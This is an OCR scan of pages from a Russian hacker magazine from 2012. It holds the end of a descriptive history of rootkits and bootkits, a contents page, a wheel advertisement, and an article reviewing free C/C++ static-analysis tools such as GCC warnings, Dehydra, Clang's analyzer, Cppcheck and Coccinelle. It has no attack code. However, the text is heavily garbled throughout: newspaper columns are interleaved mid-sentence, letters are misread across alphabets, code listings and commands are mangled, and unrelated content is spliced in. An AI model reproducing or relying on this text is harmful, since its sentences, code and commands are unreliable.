r:i.'lnl'~ FCs L.,. G1Ъ>
I I
1е ~ _ 1 !!s90tH2aS U 1 !!~aSU >~U' АI
!!1'6_uU~H0oA0t +а'
j j j Je-J }} :j Qj"" В<о 1 !!ааs1Юt~ 2aSU 1 !!~OattA 1 nua 1id pal't i t ion ta Ы", El'l'O l' 10 ad in 9 operating syst efТI Miss ing ореl'а 10,' 9
Mebratix
позволявшую отслеживать
RedPill,
использование виртуальной машины из
ской, была вов се не идеальна . Программа
в первую очередь тем, что, согласно одной
вы-звала много критики в свой адрес, и ее
теории, этот червь создали израильские
непривилегированного режима и тем самым
разработка была прекращена. Но идеи, ле
спецслужбы специал"Ьно для противодей
детектировать
жавшие в основе «Красной таблетки», про
ствия ядерной программе Ирана. Вредонос
должили свою жизнь. В
перехватывает и модифицирует информа
BluePill.
Security Labs
в области буткитов. Был создан
ко
группа
North
сообщила о том , что среду
виртуализации
В 2007 году продолжились исследования
2008
можно обнаружить.
BluePill
ционный поток, которым обмениваются программируемые логические контроллеры
Специалисты рассказали, что отследить
марки
рут кит можно как по косвенным признакам,
системы
51MATIC 57 и рабочие станции 5САDА 51MATIC WiпСС фирмы 5iеmепs.
например по снижению производительности
Руткит-функции в 5tuхпеt отошли на второй
торый представлял собой еще одну концепт
или использованию внешнего источника
план.
реализацию загрузочного руткита . Програм
времени , так и1: помощью доверенного ги
ма позиционировалась в первую очередь как
первизара , который бы запускал гипервизор
средство для исследования безопасности
вредоноса, и уже иэ-под него анализировал
Windows Vista,
Vbootkit,
которая тогда как раз вышла.
Примерно в то же время был реализова~
пеtвый вредонос на ~HOBe этой технологии: Siпоwаl, или
Mebroot.
руткит-активность. Последний метод гораз
2011
до надежнее.
Втор.ого сентября 2011-го китайская ком
пания
Многие антивирусы
Qihoo 360 сообщила о новом вирусе с Mebromi. Зло вред, нацелен
Вl05-руткитом
долгое время ничего не 'могли противопо
ный на китайских пользователей, не только
ставить этому зловреду, и он безнаказанно
заражает
БУЙlJ'вовал на, пользовательских ПК. Не один
B105,
но и Nодифицирует
MBR,
В 2010-м, после относительного затишья
работает как руткит в гiпgО, инфицирует РЕ
десяток антивирусных аналитиков провел
на руткит-сцене, появилось еще несколько
файлы и выполняет функции трояна.
множество бессонных ноче й за изучением
буткитов:
стал первым ВIОS-руткитом после концепта
ода
Mebroot,
Alipop, Black Iпtегпеt Тгоjап и Ghost 5hadow [Mebratix.bI. Первый из них имеет ки
которы.Й на тот момент был на
Такж~ в
2007
появившегося в
2007
году.
тайские корни, о чем свидетельствует уста
стоящим прорывом.
году был представлен кон
цепт биос-руткита
IceLord,
IceLord,
навливаемая им
который мог ин
Mebratix
AdWare
на китайском языке.
впервые обнаружили специалисты
компании 5уmапtес, а
Конечно, для успешного заражен~я требова
то время являлся самым Р3Е:пространенным
ные зловреды всё чаще инфицируют
ло(ь соблюдение определенных условий, но
буткитом.
модифицируют
Black
Iпtегпеt Тгоjап в
ЗАКЛЮЧЕНИЕ Уже сейчас очевидно, что руткиты всё
фицировать основу основ современного ПК .
В августе появился первый
начало было положено .
64-битных ОС
2008 RedPill,
Mebromi
Windows.
rootkit
,
BOl5
MBR,
и используют виртуа
ЛИllацию. Мне кажется, что антивирусные компании не в состоянии эффективно бо
ванный аналитиками компании «Доктор
роться с такими угрозами, поскольку
Веб», получил название ВасkDоог.тdoss.
технологии заражения пока очень слабо
Но, пожалуй, королем руткитов
разработанная Жанной Рутков-
для
Вирус, препариро
глубже закапываются в железо. Современ,
2010
года
стал 5tuхпеt. Его популярность обусловлена
HOl!"bIe
изучены. Поэтому самое интересное еще впер еди ... :Х:
.. ХАКЕР
02/157/2012
085
,
Preview UNIXOID
•
ПОБЕДЫ И ПОРАЖЕНИЯ
OPENSOURCE-2011 Если попытаться вдвухсловахописать
2011 годдля мира ореп source, то это наверное будут «взломы» и «патенты». Так, мы три жды писали атом, как через
SQL-инъекцию был взломан mysql.com. Незабывали рассказывать, как Microsoft и Oracle затаскали крупные компании по судам за нарушения каких-то спорных
патентов . На фоне этих новостей как-то меркнут настоящие достижения в мире от
крытых исходников: новая 3.0 версия ядра Linux, атакже серьезные обновления в бра узерах, Gnome и КОЕ, атакже популярных дистрибутивах. Мы решили рассказать о наиболее важны хсобы тия х идажесделать
некоторые прогнозы на будущее. Все самое важное за год-в одном материале.
КОДИНГ
UNIXOID
СТАТИЧЕСКИЕАНАЛИЭАТОРЫ КОДА
HOW-TO: РЕ-ПАКЕР
Автоматизируем поиск утечек памяти ,
Все тонкости и хитрости разработки
выходовзаграницумассива,исполь з ова
своего собственного упаковщика испол
ниянеинициализированныхпеременны х
няемых файлов формата РЕ. А это уже без
и других ошибок.
пяти минуткриптор!
11
На звание Windows 5егуег 8 является кодовым и еще не утверждено оконча
тельно . Но попробовать новую серверную ОС от MS мы можемуже сеЙчас.
086
нестандартному использованию
привычных
Open55L и Ореп55Н, которые
никогда не приходили тебе в голову.
FERRUM
SYN\ACK
РОЖДЕННЫЙ ПОД ЦИФРОЙ ВОСЕМЬ
11
КРИПТОЛОГИЧЕСКИЙРАЙ Два десятка хардкорны х трюков по
11
ДОСПЕХИ ДЛЯ IT-ИНФРАСТРУКТУРЫ
Что могут и чего не могу 105/1 Р5? Тест-драйв 5 наиболее популярных систем предупреждения вторжений от известных вендорав.
11
Я ТВОЙ SANDY BRIDGE ТРУБА ШАТАЛ Стоит ли п окупать материнскую плату на базе нового чипсета АМО А75? Ищем ответ на этот вопрос, тестируя
6 разных
материнок.
ХАКЕР
02/157/2012
MUGELLO - HYPER SILVER
VAIRANO
INDY 500
SILVERSTONE
NARDO
ROTARY FORGED WHEELS
MALLORY
CARTHAGE
SEPANG
ZOLDER
NURBURGRING RF
VALENCIA
CADWELL
INTERLAGOS RF
МАХ
BROOKLANDS
SТOWE
LONDRINA
JARAMA
SNЕТТЕRТОN
DONINGTON
WILLOW
STRIP
Visit our website to view the complete line of TSW Wheels
TSW is dedicated to being the world's premium provider of staggered wheel applications and has тоге one-piece staggered wheel sizes than апу other wheel brand in the world .
Реклама
кодинг
Дима Осмаков
ОБЗОР БЕСПЛАТНЫХ ИНСТРУМЕНТОВ ДЛЯ СТАТИЧЕСКОГО АНАЛИЗА КОДА
Ibumshmyaklayandex.ruJ
~ -список инструментов для статического анализа.
blI.lvl16VLIE опции GCC, связанные с предупреждениями.
bj! ly/uEU4VQ опции GCC, специфичные
НАС/С++
дnя предупреждений, выдаваемых при
проверке кода на С++.
bit.lyluD9wOB -синтаксис
расширения дnя
атрибутов в
GCc. bil,JylvZpq7F GCc. mzl.la/DWbf4 Dehydra. ЫЦу/llхRuQ Clang 51alic Analyzer. bit.lyl20g5flCppcheck. bj tJ y/l Z3wXP Coccinelle. htlp://mzl.la/IEyXCL -DXR. пnагины дnя
оwи
в программах на С/С++ Основные вопросы, обсуждаемые в статье, касаются хороших бесплатных инструментов
для поиска логических ошибок методами
статического анализа в коде на С!е++ и их функциональным возможностям.
GCC В качестве первого шага при выявлении логических ошибок
целесообразно провести компиляцию при максимальном уровне
предупреждений . На странице http://bit.ly/16VLI E приведены опции GCC, отвечающие за них. Рассмотрим некоторые из зтих опций . -Wall включает множество предупреждений об инструкциях, которые, скорее всего, содержат легко исправляемые ошибки.
Сюда относятся различные ошибки форматной строки I-Wfoгmatl: При статическом анализе информация о программе извлекается из её исходного кода. Извлечение происходит автоматически с по мощью специального инструмента
-
~9~g ~focmat()
сама программа не запускается. Нас может интересовать самая разная информация. Содержит ли программа логические ошибки? Будет ли программа правильно решать поставленную перед ней
{
_.g9 LФ1~ Х..." J, j liеПR'Н:Н1Л.i;,Ны!1.. лш ..!Ш1R.Q[Q ..afJ.cy",et!:r.a ...........................
статического анализатора,
.... u .
prJIJ1f.(" :>9!1\IJ" ,Х); ."...":>9.Q\.a::.;........ .. _.........
._ ...ch<l.r . 5 [J
.
задачу для всех возможных входных данных? Удовлетворяет ли
и. QП<l~ .Н.Q .и.сЛ()/1.Ь-'!().Вi'!ТЬ . неlS.9.НЛ.аНТНУtIJ...Ф.9.RМ":ГНУЮ ЛRО.КУ
поведение программы формальной спецификации? Помимо во
p.cintfCs,.
просов, связанных с корректностью работы программы, могут воз
Х).;
........ _...... .
}.
никать вопросы, касающиеся непосредственно ее исходного кода.
Удовлетворяет ли код требованиям по стилю? Содержит ли код конструкции, которые считаются небезопасными и потенциально
Ошибки выхода за границу массива I-Waггay-bounds, работает только вместе с
-02, причем исключительно в простейших случаяхl :
могут привести к ошибкам? Также к статическим анализаторам можно отнести программы, которые визуализируют структуру кода
.in:t.
и помогают проводить рефакторинг.
~.n:t;. ~a.rray_b9.!JaQsO... {
Эта статья в основном посвящена инструментам, которые по
'..
могают искать логические ошибки в исходном коде, написанном
}
t.еst_Ьо_uпd~[ ЦI ].; ..
.r~turrl..tе.st_ЬQЩlds[ ~131j
на С/С++. Таких инструментов достаточно много, позтому пришлось провести жесткий отбор. Во-первых, я сразу отбросил платные
инструменты ICovertiy, PolySpace, PVS-Studio, Microsoft \analyze
flag и многие другиеl. Во-вторых, исключил устаревшие, то есть такие, для которых больше года не выпускалось обновлений . Из оставшихся я выбрал наиболее, на мой взгляд, практичные:
GCC, Dehydra, Clang static analyzer, Cppcheck
088
и
Coccinelle.
А также ошибки использования неинициализированной пере
мен ной I-Wuninitializedl и многие другие.
-Wextra
включает дополнительный набор предупреждений .
В него входят, например, предупреждения об ошибках, возникаю щих при сравнении значений знаковых и беззнаковых типов и не
явном преобразовании знакового в беззнаковый I-Wsign-compaгel:
ХАКЕР
02 / 157/ 2012
Ищем ошибки в программах на С!С++
int Wsign_compare() { int х = - 1 ; unsigned int у = 3; if (х > у) return 1 ; / / выполнится else return 8;
компилятор проверит, являются ли первые два аргумента во всех
вызовах ту_тетсру ненулевыми. Следует отметить, что он выдает предупреждение только в том случае, если параметр функции
непосредственно представляет собой NULL. Следующий код уже ,па ветка
не вызовет нареканий [хотя хотелось быl:
int * dest = NULL; int * src = NULL; my_memcpy(dest, src, 18);
} Многие полезные предупреждения не входят в -Wall или -Wextra,
DEHYDRA
и их нужно подключать отдельно:
4.5, GCC поддерживает API для написания
-Wconveгsion предупреждает о при ведении типов, при котором
Начиная с версии
значение может поменяться [например, преобразование doubIe
плагинов, которые работают с внутренним представлением кода.
в int или int в unsigned intl. -Wcast_qual предупреждает отаком
Для нас наиболее интересен плагин
На странице bit.ly/vZpq7F приведен список существующих плагинов . приведении типа для указа
Dehydra, предназначенный
теля, при котором специфическая информация о типе теряется,
для статического анализа кода на С++. Dehydra, используемый для
например:
про верки продуктов Mozilla, по сути, предоставляет простой способ вклиниться в процесс компиляции С++ . ДЛЯ этого нужно заполнить
void Wcast_qual() const char * 5 "constant string" ; « char *)s)[ 8 ] = 'п' ;
набор функций [хендлеровl на JavaScipt, которые будут вызываться по мере компиляции.
•
} • в итоге для проверки программ на С я остановился на следую щем наборе опций:
Dehydra предоставляет три основных хендлера: process_type(type) - вызываетсядля каждого определения типа, в качестве пара метра type передается полная информация отипе. process_function(decl, body) - вызывается для каждого определения функции [decl описываеттип функции и её пара метры, body представляет собой массив описаний инструкций, составляющихтело функцииl.
-02 -Wall -Wextra -Wformat=2 -Winit-self -Warray-bounds -Wdiv-by-zero -Wfioat-equal -Wundef -Wshadow -Wcast-qual -Wconversion -Wempty-body -Waggregate-return -Wunreachable-code
•
process_decl(decl) -вызывается при определении глобальной переменной, функции или шаблона.
Рассмотрим на примерах работу с Dehydra. Допустим, мы хотим построить граф вызовов функций в нашей программе, другими
На странице bit .ly/uEU4VQ собраны опции, специфичные для С++. Рассмотрим несколько наиболее интересных:
-Weffc++ предупреждает о нарушении ряда рекомендаций из книг Скотта Мейерса «Effective С++» И «Моге Effective С++». Например, к ним относятся предупреждения о виртуальных
деструкторах для базовых классов [эти предупреждения можно включить отдельно, как -Wnon-viгtual-dtoгl, а также об опреде лении копирующего конструктора и оператора присваивания для классов с членами-указателями .
-W-old-style-cast предупреждает о при ведении типов в стиле С [через скобкиl. В С++, какты знаешь, принято использовать
dynamic_cast, static_cast, reinterpret_cast или const_cast.
словами, хотим понять, какие функции может вызывать каждая функция. Для этого напишем простой JS-скрипт
callgraph .js:
function print_all_fcalls(varobjs) for each (let obj in varobjs) { if (obj.isFcall) print( " " + obj.name) i f (obj.assign) // right side of assign print_all_fcalls(obj.assign) i f (obj.arguments) // arguments of fcall print_all_fcalls(obj.arguments) }
} в итоге для проверки программ на С++ я добавил следующие опции:
-Wctor-dtor-privacy -Weffc++ -Wold-style-cast -Woverloaded-virtual в
GCC есть расширение, которое позволяет задавать дополни
function process_function(decl, body) { print(decl.name + О:") for each (let Ь in body) print_all_fcalls(b.statements) } После обработки очередной функции компилятор каждый раз
тельные атрибуты для функций, переменных и типов [bit.ly/uD9wOB I.
будет вызывать process_function, в которой мы печатаем имя функ
Благодаря зтим атрибутам компилятор может зффективнее оптими
ции, а затем рекурсивно печатаем все вызовы других функций .
зировать и проверять код. Рассмотрим несколько примеров.
Скрипт имеет ряд недостатков [например, если какая-нибудь функ-
Можно пометить функцию [а также переменную или типl атрибутом deprecated. Тогда при использовании этой функции компилятор выдаст соответствующие предупреждение . Синтаксис имеет следующий вид:
bumShmyak@btJmShmyak-ре
scan-boi l d: scan-b\litd:
: /tmp$ "сап- btJi ld make executable поt fОllпd in '/us r /sharc/clang/scan-bllild/biI1'. 'clang' from path: /llsr/bln/clar1g
'сtапg' USlПg
/usr/share/clang/scan-build/ccc-analyzer ANAlYZE: clangtest.c div
int sqr( int
х)
__ attribute__ « deprecated »;
Ьу
сlапgtсst.с:5:1З: wаГПlлg:
-о
clangtcst clangtest.c
lcro DIVlS10n Ьу
zero
inty;::S/x;
Другой полезный атрибут
-
nonnull. Он требует, чтобы опреде
лённые параметры функции были ненулевыми. Например, при объявлении
extern void * ту_тетсру
( void *dest, const void *src, size_t len) __ attribute__ «nonnull ( 1, 2»);
ХАКЕР 02/157/2012
ANAlYZE: clangtest.c nutt deгcfcrcnce ANALYZE: elangtest.e maln 1 warning generated. scan·build : 1 bugs fotJnd. sean·boild: Rtlll 'scan·vie"'l /tmp/scan-bllild·2011-12·17-7' to examine btlg reports. bumshmyak@b\Jmshmyak-ре:/tmрS scan - Vlew /tmp/seal) - bui ld - 2011 12 - 17 - 7 Starting sеап-viбl at: http://127.0.0.1:8181 Use Ctrl-C to ехlt. Использование
scan-build и scan-view
089
кодинг
~ IZ7.0.0.1:8181
___________.JI
tmp - scan-bulld results bumshmy~umshmyak·pc
User:
S • • rch syntu .nd Exampl ..
Worklng Dlredory: ,1mp
Аny
make
Date:
Sat Оес 17 13:24:02201 1
.QIIIQDlAOQIIIIb!'·· 8etPIClOl~ p81h:nвтe
FInd
8М.
Quantlty
АВ Вugo
1 2
, ,
Dlsplay?
1
4
Loglc error DМsюпЬу zеro
d8tМd:narn.
FII.
DlvIslon Ьу ,его clangtest.c
dtrtYtd:I7a'М::tp
Int d l v_ Dy_ ze ro() { Int х = е : Int у :: LL.!:
Lln.
Path Length
5
1
return
WOtdt .,. noc aIIOWtCI vmtn doIng typr.
МarC::heI.
F1nCI t)PttS VNd dtttYe frOm t)'Pt nameCI пет • . 8.,. WDПI8 _. not aIIOW8d whtn dotng d8rtv8d: ..1Rhes. Аnd
callers (•. g.. c:ontalnlng
(LWН1lon8)
01 fuпc:tlon.
r.a'ItA· OIAoctмIщ·· CtфtChl!!ho Flndtn8CtOtthatbeglnYotthotmatd\l18tIИt.
lllIIWlLIIlIllI
FInd wanr.ga that CantaIn mlg. 1I m19 18 -. thtn а1 warт*'gI . . retl.Wntd.
W8f1'ings:m.tg'
у:
}
~
А.роП Вup ареп AI~ I
VlewReport
DXR 18 fr.. acttwart. ~ 10 t.am hOW 10 не It up for)'cu profect.
Поисковая строка
Отчет, созданный scan~build
все вызовыl, но для ознакомительных целей сойдет. Проверим работу скрипта на файле workandsolve.cc:
in:t. wor:k.(i,nt data)j . int solve (in:t data)j int work( i l1 t data) С. :i.n:t . res = solve( data) j . .rеt:Щ:[I res j } :i.n t. solve( int data) { . in:t .. re.s = work (da.t a) j . return reSj } int . main () { so.1 v.e ( 18)j. ret!JCn 8; }
DXR
CLANG STATIC ANALYZER
ция вызывает другую функцию несколько раз, то будут напечатаны
это компилятор C!C++/Objective-C, который являются частью проекта LLVM( lIvm.brgl. В C1an9 встроен статический анализатор, для запуска которого нужно передать утилите clang (или c1an9++1 опцию --analyze . На его сайте (bit.ly/11xRuQI опубликован список проверок ,
Clang -
которые выполняются в ходе анализа. Проверки разделены на не сколько групп: саге , дится на саге
-
deadcode, osx, unix. Примерно половина прихо
сюда входят проверки на наличие базовых ошибок , во
многом схожие с предупреждениями в GCC :
•
деление на ноль;
разыменование нулевого указателя ; использованиенеинициализированныхпеременныхвразличных ситуациях ;
проверки, специфичные для Objective-C. Другая большая группа -
osx, где собраны проверки для Мас OS х.
Вообще, видно, что именно эта среда является целевой для разработ чиков clang static analyzer. Рассмотрим работу clang analyzer на приме ре. Пусть у нас есть код
Запускаем
can bt p81red oМtb .XI:.
twn that btgIn WIth of matCh nмrt. c8n bt pahd wtth mtmbtr..
~ dtфI!d 'DIIЕ"" 'Ьpptnd
caII,rs:tunclIoo
DtvJs60n byzero
•,
Group 8ugТype '"
#lnc\ude <stdI0 . h>
Q
1
Reports 8ие
~Lm orty ntaiLS C:aUInIng naт.1n th8 p8th. sh.Ioot!eolh·Dttw9rI!:
Annotaled Source Code
BugSummary
Loglc error
S.arc:h for а word or"st 01 wonfs мpar8ted ьу spacи. b8nI words (8.9._ nOI path:·) tn the _ardl are taken together.
slmpleslrtng
Command Llne:
8ugType
s..,<h
Browse the source tree
clantest .c:
Dehydra: jНш.1.udе sst diQ.. h.> .
g++ .: fрJugiп=-/dеhуqr.а/gсс_dеhуdrа .•..S9. ~fplugin-arg:. gcc_ \ dehydr:.a ~ script=ca1.l.gr<!ph.j s workanQ.solve ..сс -о !qev[null Получаем на вы х оде:
work(iot) :.. solve(int) solv.e{i,nt) : work(int) main{) :.... solve{int) work_(int)
~]1"!: .div_bY_4eC9.( ). { ......iл:t. Х = 8; . . ;int у = 5 j Х; .. ce turn У; } .. ~J1.t: . null_deref.erence.() { .. ~.nt. х = . е.; . i.nt * Р . :=. NUЦ, j ... .. Н (х . > 8 ) Р = &Х;
..
r eturn
* р;
}
Полное описание функций-хендлеров и их параметров, а так же
примеры использования можно найти на странице проекта: mzl.la/
~n.:t. maioO { ......ret: urn 8;
1 ....
DWbf4. Dehydra «из коробки » умеет достаточно мало. Она в осно вном
Компилируем и одновременно проверяем код :
предназначена для написания собственных процедур проверки.
В репозитории mozilla-central (bit.ly/vJ EI1BI лежит несколько готовых
clang - -analyze. clangtest. с .: Q clangtest
скриптов, использовавшихся для проверки кода программ от Mozilla, но они не очень интересные, так как требуют дополнительной анно
Получаем на выходе:
тации кода. Например, скрипт final .js проверяет, нет ли наследников у класса, помеченного пользовательским атрибутом
final.
В общем , это очень интересный инструмент, но он требует до
c.1angtest. с.: 5.:.1.3..:...warn:i:ng : D.iv.l,sion .Ьу zero .... .... ~nt у = 5 j X j .
полнительного программирования .
090
ХАКЕР
02/157/ 201 2
Ищем ошибки в программах на С/С++
clangtest. С,: 1> :,10: return *р; ,
warn~ng ,:, ,Оеrеfеrеще Q:/"лull
pointer., .,."
разыменование нулевого указателя ; неправильноеиспользованиеклассо~ ИТ . д .
2 warningS"Eenerated. Cppcheck Е с ли заменить « х
>О»
на « х
>=
О » В функции
null_dereference, то
clang
поставляется удобная утилита
-
доста
точно указать директорию, которую нужно проверить. Разберём
второе предупреждение, что приятно, исчезнет ,
Вместе с
имеет как консольный, так и графический интер
феЙс. Пользоваться и тем и другим одинаково просто
5can-build, ко
торая позволяет проводить статический анализ всего проекта во
при мер с утечкой памяти : пусть она выделяется в конструкторе , но не освобождается в деструкторе.
время его сборки, Этой утилите нужно передать команду, кото рая начинает процесс сборки проекта. Она заменит все вызовы
cJiJss Newbie
компилятора вызовами со статическим анализатором. Утилита
риЬЦС :
не выполняет сложный анализ процесса сборки, а просто заменяет
переменные окружения СС и СХХ своим анализатором, что несколь ко ограничивает применение утилиты .
Для рассмотренного в качестве примера
сделать такой
clangte5t.c
можно
Makefile:
С
Nel-ibie() { resource ne,w Jnt [ 256] } pcivat:e : Jл:t-* resourcej ,
j
};
clangtest : clangtest. с $(СС)
-о
clangtest c}angtest.c
Теперь можно запустить 5сап-Ьuild
make.
io:t l!1a.in() { _Newbie пооЬ j re.tu.ro 0; }
Будет создан отчет,
Успешное обнаружение утечки в этой программе с помощью
который можно просмотреть с помощью утилиты 5сап-viеw.
Clang создано ещё несколько интересных проектов, например проект DXR, который представляет собой интеллек туальный браузер исходного кода. DXR позволяет удобно искать
Cppcheck проиллюстрировано на скрине на следующем развороте , ! Страница bit,IY/56RQoH содержит внушительный список извест ных и не очень проектов, в которых с помощью Cppcheck удалось
различные конструкции в коде . Например, с его помощью можно
обнаружить баги . Что интересно , в основном это баги , най;ценные
найти все функции , которые вызывают заданную функцию, или все
в коде на чистом С. Подавляющее большинство из них связано
типы , которые являются потомками заданного типа. Насколько я
с утечкой памяти или какого-либо другого ресурса .
На основе
понял, раньше
Dehydra. Как настроить DXR для своего проекта, описано на странице mzl.la/tEyXCL . DXR
работал на основе
COCC INELLE Соссiпеllе Iпроизносится как [кОксэнэл]) -
СРРСНЕСК
Cpp check -
это специалиэированная программа для поиска оши
б ок в коде на С++,
это инструмент для
автоматического преобразования С-кода . Преобразования опи
Cppcheck
работает с кодом как с последователь
ностью строк, особо не вдаваясь в их смысл . Сначала он всячески
сываются в виде семантического патча на языке
SmPL [Sеmапtiс Patch Lапguаgеl , По сути, такой патч - это набор правил для за мены одних конструкций языка С другими , Из начально coccinelle
упрощает код и при водит его к виду последовательности токенов,
разрабатывался для решения следующей задачи . Представь, что
разделенных пробелами. После этого он ищет типичные ошибки
у нас есть библиотека и клиентский код, который эту библиотеку
с помощью регулярных выражений и набора эвристических пра
использует, Как нужно изменить клиентский код при изменении
вил, написанных на С++ .
интерфейса библиотеки?
Вот так выглядит простейшие правило для поиска ошибок
Coccinelle
позволяет записать необходи
мые изменения в виде компактного семантического патча , Потом
этот патч можно наложить на клиентский код, чтобы получить
деления на нуль:
его актуальную версию. Так как соссiпеllе «понимает» С, то этот
cppcheck - ~.rllle= "1 0"
инструмент можно использовать для поиска определённых шабло
нов в коде. Нас интересуют шаблоны, потенциально содержащие То же самое правило на С++:
ошибку. Для того чтобы понять, как искать шаблоны, рассмотрим структуру семантического патча.
СhеСkЩhе.r:: divistQr\By~,eroO
void
Патч состоит из набора правил следующего вида:
{
/1 Loop__ :t:hrougl) аН ,t.ok,eos, for ( const Token *tok __= _tokenizer- >10,kens (); ,tokj tok ,= tOk->l)ехt() { /1 ch.eck i f there ,is а divi5ion I:!Y, zJ'ro if {Token: :Match(tok, "/ 0" » { / 1 report err:or , divisionByZer.o,Error(tok) j
@II1M~ параметРыl@ оБРЯВiJение
ОПиС,ание преобра_;!ов.а,ниЙ
Каждое правило начинается с заголовка, заключённого в два значка
}
,.,eTiJl),E!.p_e,MeHHbIx
@§J
0 . Заголовок
может быть пустым или содержать имя пра
вила и какие-либо пара метры для него [например , список других правил, от выполнения которых оно зависитl, За ним следует
}
раздел объявления метапеременны х . Каждая метапеременная Для
Cppcheck уже
написано огромное количество правил.
На странице проекта перечислены типы детектируемых ошибок:
представляет собой типизированный шаблон для сопоставления
с конструкциями в С. Далее идёт основной раздел, в котором
различные сценарии утечки памяти и других ресурсов;
указывается, какие конструкции нужно найти и на что их следует
использование устаревших функций;
заменить [можно просто искать определенные конструкции, не за меняя и х l. Рассмотрим несколько примеров.
неправильное использование
STL и 8005t;
Первый пример, касающийся так называемой проблемы
наличие неиспользуемых или неинициализированных перемен ных ;
ХАКЕР
02/157/ 2012
«!х
& у» ,
очень популярен в статьях и презентациях разработчиков
091
кодинг
_ ореп
int flags = UGLY_F LAG; i f (Iflags & UGLY_FLAG) i f (!(flags & UGLY_FLAG» return 1; else return 8;
:1 150
~
~ kшаll ос/т аll ос
...'" ....."'"
_
isnull ~ null_ref _ _ notnull _ unused _ _ notand _ unsigned
"CI
е
i.
+
100 50 о
<-q,. График эволюции ошибок висходниках
<'Ъ.>
<~
~
Linux, полученный с помощью Heгodotos
Опция -dir утилиты spatch предназначена для рекурсивной про верки всех С-файлов в заданной директории. Оказывается, ошибка
«Ix & у » встречается довольно часто.
На странице bit .ly/dlggI6 собраны исправления, сделанные
coccinelle . Предположим, у нас есть переменная flags, которая
с помощью соссiпеllе в исходных кодах
хранит набор битовых флажков. Для проверки того, все ли флажки
исправлений связаны как раз с ошибкой «!х
Linux. Так вот, 20 из этих
установлены, обычно пишут:
примера приведем один из отрывков кода, где она содержится
& у»!
В качестве
Ibit.ly/ rVQQ9Z I: !(flags & UGLY_FLAG) Часто скобки забывают ставить, в результате чего получается следующий код:
!flags & UGLY_FLAG При этом !flags -
это либо нуль, либо единица, то есть, скорее
--- a/drivers/serial/m32r_sio.c +++ b/drivers/serial/m32r_sio.c @@ -421,7 +421,7 @@ static void transmit_chars( struct uart_sio_port *up) while (!serial_in(up, UART_LSR) & UART LSR_THRE); + while (!(serial_in(up, UART_LSR) & UART_LSR_THRE»; } while (--count > 8);
всего, не т о, что мы хотели. Семантический патч, который исправ Ещё одна достаточно популярная ошибка в коде Linux связана
ляет такой код, выглядит следующим образом:
с тем, что функции
memset вместо размера структуры передается
размер указателя на эту структуру. Патч для нахождения и исправ
notand . cocc i @notand@ expression Е; co nstant С;
ления такой ошибки выглядит следующим образом:
@@ type
@@ - !Е & С + ! (Е & С)
т
Т;
*х;
expression
Е;
@@ Здесь мы определяем правило, которое называется notand. Мы говорим, что у нас есть переменная Е, которая может быть сопостав
memset(x,
лена произвольному выражению, и переменная С, которая может быть
+
сопоставлена ко н стан т е. Потом идёт код, задающий само преобразо вание, то есть добавляющий скобки во все выражения вида «!Е
Е,
sizeof(
*
х»
& С».
ДЛЯ теста используем такой код:
Здесь мы описываем, что у нас есть указатель х на тип Т и про извольное выражение Е. Далее мы ищем все вызовы
notand .c #define UG LY_FLAG = 8х2 ; int main() { int flags = UG LY_F LAG; i f (! fl ags & UG LY_FLAG) return 1; else return 8; }
и добавляем " чтобы разыменовать указатель и получить размер Т. Результат применения семантического патча к коду Linux опреде
лённой версии Ibit. ly/rsLl lgl :
--- a/drivers/staging/wlan-ng/prism2fw.c +++ b/drivers/staging/wlan-ng/prism2fw.c @@ -439,7 +439,7 @@ void free_chunks( i mgchunk_t *fchunk, unsigned int *nfchunks)
Coccinelle также предоставляет утилиту spatch, которая при
}
меняет семантический патч к набору С-файлов. В случае если правило совпадает с реальным кодом на С, ционный построчный
memset,
где в качестве третьего параметра выступает размер указателя,
spatch на выдает тради
diff, устанавливающий преобразование.
+
*nfchunks = 8; memset(fchunk, 8, sizeof(fchunk»; memset(fchunk, 8, sizeof(*fchunk»;
В нашем случае spatch нужно запускать так:
spatch - sp_file notand.cocci notand.c
Перейдем к другим возможностям языка SmPL и напишем
патч, который будет в первом приближении [очень грубомl На выходе получаем:
отыскивать ошибки утечки памяти. Будем отслеживать такую
ситуацию . Пусть функция ти п а malloc выделяет память, которая
HANDL I NG:
diff
поt апd.с
=
--- notan d. c +++ /tmр/соссi-оutрut - 3829 - аfббfа-поtапd.с @@ - 2,7 +2,7 @@ int main() {
092
сохраняется в переменноЙ-указателе. Дальше идет стандартная
проверка, что указатель не равен нулю [памя т ь успешно выде
ленаl . Потом идет какой-нибудь хитрый код, который реализу ет логику, не связанную с нашим указателем . Этот код может описывать разные процедуры проверки, приводящие к выходу
ИЗ функции. Память при этом освободить забывают, в результате
ХАКЕР
02/157/2012
Ищем ошибки в программах на С!С++
чего получается утечка . В коде
Linu x насчитывалось 13
ошибок
IQuick Filter'
такого типа Ibit .ly/d1ggI6 ). Патч, устраняющий ошибку утечки памяти :
File
Summary
Severity line
c!assleak.cc О classleak.cc
@leak@ type Т;
7
егго г
Ме то гу leak: Newbi e::resource
Т* х;
statement; 5; idеп1;iJiег а=-» , *.".110с$ » ;
.
@@
*
= а( ... );
х
S u mmaгy: метогу leak: Newble::resource Message: Memory leak: Newbie::resource
(х
== NULL) 5 ••• w.hen ! = х * геtчтп
if
Результат работы
Cppcheck
в разделе описания переменны х , кроме всего прочего, задается
п е ременная а, которая успешно сопоставляет с я с любым ид е н т иф и катором , оканчивающимся на
alloc. Мы
sizeof(pointer); Ix&y; .
можем использовать
ре г улярные выражения , чтобы конкретизировать вид конструкций ,
•
утечки памяти;
ко т о рые мы хотим найти.
неиспольэуемые переменные.
Разбер ё м подробнее раздел , задающий преобразования кода. Достаточно натравить *х=а(
coccicheck
на интересующий тебя проект,
и он проверит его на вышеперечисленные ошибки (вернее ,
• •• );
на шаблоны в коде, которые на них очень похожи). ме нты нужно добавить или
«+» И « », чтобы указать, какие зле удалить. Символ «*» используется для
п о ис к а. Многоточие сопоставляется произвольному коду. Если код
ошибок в нескольких версиях программы. П ри этом он собирает интересную статистику и может строить графики .
должен удовлетворять ряду ограничений, то следует воспользо
вать с я ключевым словом
•
when:
Coccicheck
лежит в директории scripts/ проекта coccine lle. Herodotos (bit.ly/vrmt8v) позволяет проследить эволюцию
Раньше мы использовали
Coccigrep (bit.ly/gxM9nd ) -
это « семантический
grep» для С. Он
может искать в программе заданные структуры или переменные
. .. wQen ! =
х
.
• З десь мы говорим , что хотим любой код, в котором не содержит
(как и DXR) . Spdiff Ibit .ly/rLhp7P) - это « семантический diff», то есть инстру мент для автоматического выявления изменений в программе .
ся х ( при этом вид х определяется ранее) .
Звучит очень круто, но работает он только в лабораторных
После применения патча к тестовому коду получаем следующий
условиях.
